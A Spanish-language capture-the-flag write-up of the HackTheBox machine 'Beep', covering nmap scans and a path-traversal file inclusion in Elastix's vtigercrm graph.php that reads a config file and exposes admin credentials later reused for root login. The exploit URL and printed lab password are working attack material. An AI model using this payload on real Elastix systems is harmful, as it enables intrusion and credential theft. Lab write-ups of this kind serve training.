HackTheBox — Beep Writeup — No/MSF
Esta es la segunda maquina como preparación al OSCP, maquina catalogada como EASY con una puntuación de 20 puntos, maquina retirada, Para realizar las maquinas retiradas es necesario contar con una cuenta VIP
Identificación
Como siempre, es (o será) necesario escanear todos los puertos
nmap -v --min-rate 3000 -p- 10.10.10.7 --open -oA beep.ports
Una vez identificados los puertos abiertos, procedemos a identificar la versión de los servicios por cada puerto abierto.
nmap -sC -sV -p22,25,80,100,111,143,443,879,993,995,3306,4190,4445,4559,5038,1000 -oA beep.services 10.10.10.7
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
100/tcp closed newacct
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: Completed RIGHTS=kxte SORT=MODSEQ URLAUTHA0001 X-NETSCAPE QUOTA RENAME STARTTLS LIST-SUBSCRIBED UNSELECT IDLE LISTEXT CONDSTORE IMAP4rev1 SORT ANNOTATEMORE THREAD=REF>
443/tcp open ssl/https?
|_ssl-date: 2020-08-03T16:28:51+00:00; 0s from scanner time.
879/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
1000/tcp closed cadlock
3306/tcp open mysql MySQL (unauthorized)
4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp open upnotifyp?
4559/tcp open hylafax HylaFAX 4.3.10
5038/tcp open asterisk Asterisk Call Manager 1.1
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix
Enumeración
Al parecer en esta maquina el camino sera por HTTP, al ingresar al puerto 80, aparece un viejo amigo conocido, Elastix solucion voIP open source.
Al presionar escape nos envía a la siguiente pantalla.
Googleando un poco se encontró un LFI asociado al CRM que viene por defecto en elastix
El PoC hacia referencia a leer el archivo de configuración.
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
Como se puede observar en la imagen ya tenemos un par de usuarios y una contraseña.
Credenciales : admin / jEhdIekWmdjE
Ya que podemos leer archivos, esto nos permitirá enumerar los usuarios del sistema,sobre todo los que tienen :/bin/bash
El archivo de configuración de asterisk se identificó un usuario asterisk, y este se encuentra como usuario del OS, el sistema se identificaron 5 que pueden iniciar sesion.
Intente primero con asterisk por, la “re utilización de contraseñas”
Luego fui por root y listo.
No fue necesario la escalada de privilegios.
Conclusión
La enumeración es la clave, primero se identifico un usuario que permitió acceso a la administración, se reutilizo contraseñas la misma del admin de la aplicación web y el root del usuario.
La enumeración del usuario del OS a través del LFI permitió asociar la contraseña con uno de los usuarios que pueden iniciar sesión.